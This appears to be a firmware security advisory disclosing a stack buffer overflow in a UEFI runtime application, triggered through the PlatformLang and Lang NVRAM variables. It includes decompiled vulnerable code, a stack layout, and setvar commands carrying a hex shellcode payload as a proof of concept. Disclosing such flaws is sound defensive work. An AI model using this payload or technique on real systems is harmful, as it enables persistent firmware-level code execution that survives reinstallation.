An attacker with local privileged access can exploit this vulnerability to elevate privileges from ring 3 or ring 0 (depends on the operating system) to a DXE Runtime UEFI application and execute arbitrary code.A malicious code installed as a result of the vulnerability exploitation in a UEFI application could survive across an operating system (OS) boot process and runtime or modify NVRAM area on SPI flash storage (to gain persistence on target platform).Additionally, this vulnerability potentially could be used by threat actors to bypass OS security mechanisms (modify privileged memory or runtime variables), influence on the OS boot process, and in some cases would allow an attacker to hook or modify EFI Runtime services.
Binarly REsearch Team has discovered a stack buffer overflow vulnerability that allows a local priviledged user to access UEFI Runtime DXE application and execute arbitrary code.
An attacker with local privileged access can exploit this vulnerability to elevate privileges from ring 3 or ring 0 (depends on the operating system) to a DXE Runtime UEFI application and execute arbitrary code.A malicious code installed as a result of the vulnerability exploitation in a UEFI application could survive across an operating system (OS) boot process and runtime or modify NVRAM area on SPI flash storage (to gain persistence on target platform).Additionally, this vulnerability potentially could be used by threat actors to bypass OS security mechanisms (modify privileged memory or runtime variables), influence on the OS boot process, and in some cases would allow an attacker to hook or modify EFI Runtime services.
The vulnerability exists in a UEFI application if the length of NVRAM PlatformLang
variable exceeds the length of NVRAM Lang
variable (the DataSize
argument is controlled by an attacker).The second call of GetVariable
leads to buffer overflow with further arbitrary code execution controlled by a potential attacker.
The vulnerable code below is located at offset 0x40C84
(firmware name: S05_02020000.bin
, application name: 0138
):
VendorGuid.Data1 = 0x8BE4DF61;
*&VendorGuid.Data2 = 0x11D293CA;
*VendorGuid.Data4 = 0xE0000DAA;
*&VendorGuid.Data4[4] = 0x8C2B0398;
Buffer = 0i64;
DataSize = 8i64; // data size only initialize once
if ( IsNotEqual(buf, g_buf) ) // False (buf = g_buf)
{
gBS_157B28->SetMem(&Buffer, 8ui64, 0);
sprintf_s(&Buffer, 8i64, "%a", vLang);
}
else if ( (gRT_157B30->GetVariable(L"PlatformLang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) == 0i64 )
{
WriteLog(L"PlatformLang reported as %a.\r\n", &Buffer);
}
else
{
// DataSize didn't change after the first GetVariable call which leads stack buffer overflow
if ( (gRT_157B30->GetVariable(L"Lang", &VendorGuid, 0i64, &DataSize, &Buffer) & 0x8000000000000000ui64) != 0i64 )
{
result = WriteLog(L"Unable to find Lang variable, defaulting to English.\r\n");
g_LangVarFound = 0i64;
return result;
}
WriteLog(L"Lang reported as %a.\r\n", &Buffer);
}
Change PlatformLang
and Lang
variables:
setvar PlatformLang =4141414141414141424141414141414143414141414141414441414141414141454141414141414110e7e90700000000b818e09e07ba020000004c8b40404c89c141ff5028b818e09e07ba41e7e9074c8b40404c89c141ff5008ebfc90909090904700720065006500740069006e00670073002000660072006f006d002000650066006900580070006c006f00720065007200210000
setvar Lang =4141414141414141424141414141414143414141414141414441414141414141454141414141414110e7e90700000000b818e09e07ba020000004c8b40404c89c141ff5028b818e09e07ba41e7e9074c8b40404c89c141ff5008ebfc90909090904700720065006500740069006e00670073002000660072006f006d002000650066006900580070006c006f00720065007200210000
By changing the value of PlatformLang
variable, we change the value of the DataSize
before the second call to GetVariable
.
By changing the value of Lang
variable, we overflow the stack and execute arbitrary code on the stack.
It is important to note that the Buffer
value on the stack lies after the current function return address:
-0000000000000004 VendorGuid dd ?
+0000000000000000 s db 24 dup(?)
+0000000000000018 r db 8 dup(?)
+0000000000000020 arg_0 dq ?
+0000000000000028 arg_8 dq ?
+0000000000000030 Buffer dq ?
+0000000000000038 DataSize dq ?
+0000000000000040
+0000000000000040 ; end of stack variables
So, to trigger the vulnerability it is necessary to overwrite the return address of the parent function and not the return address of the current function.
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
Binarly REsearch Team